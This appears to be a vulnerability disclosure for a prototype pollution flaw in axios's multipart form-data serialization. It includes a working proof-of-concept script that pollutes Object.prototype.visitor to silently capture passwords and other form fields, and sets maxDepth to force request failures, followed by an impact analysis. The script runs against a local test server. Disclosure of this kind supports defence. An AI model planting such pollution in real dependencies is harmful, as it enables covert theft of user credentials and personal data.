Details
PoC
Reproduction Steps
Environment
_Any environment with Node.js and npm. Tested on:_
_- Node.js v24.15.0, npm 11.13.0_
_- axios v1.18.1 (latest release at time of writing)_
Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install [email protected]
Step 2: Create the PoC file
_Create poc.mjs with the following content:_
import axios from 'axios';
import http from 'http';
// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end('{}');
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
try {
// Exfiltration: visitor intercepts all form fields
await axios.post(`http://127.0.0.1:${port}/`, {
username: 'john',
password: 'SuperSecret123!',
profile: { ssn: '123-45-6789' }
}, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen);
// Stolen: [
// { key: 'username', value: 'john' },
// { key: 'password', value: 'SuperSecret123!' },
// { key: 'profile', value: { ssn: '123-45-6789' } },
// { key: 'ssn', value: '123-45-6789' }
// ]
// DoS: nested object rejected by polluted maxDepth
await axios.post(`http://127.0.0.1:${port}/`,
{ a: { b: { c: { d: 'value' } } } },
{ headers: { 'Content-Type': 'multipart/form-data' } }
);
// Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
// "Object is too deeply nested (3 levels). Max depth: 2"
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});
Step 3: Run the PoC
node poc.mjs
Impact
1. Data Exfiltration via visitor (Confidentiality: High)
_A polluted Object.prototype.visitor function is called as the form data visitor:_
visitor.call(formData, el, key, path, exposedHelpers)
_The attacker receives:_
_- `value` — the raw value being serialized (passwords, tokens, PII, API keys)_
_- `key` — the field name_
_- `path` — the full path array (e.g., ['profile', 'address', 'street'])_
_- `exposedHelpers` — internal helpers including defaultVisitor, convertValue, isVisitable_
_By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._
2. Denial of Service via maxDepth (Availability: Low)
_A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERR_FORM_DATA_DEPTH_EXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures._
3. Data Corruption via dots, indexes, metaTokens (Integrity: Low)
_Polluting these options changes the serialization format of form field names:_
_- `dots: true` — changes bracket notation (user[name]) to dot notation (user.name)_
_- `indexes: true` — changes array serialization (items[]) to indexed (items[0], items[1])_
_- `metaTokens: false` — changes obj{} keys to raw json strings_
_The server may misinterpret the submitted form data, leading to silent data corruption._
</details>
---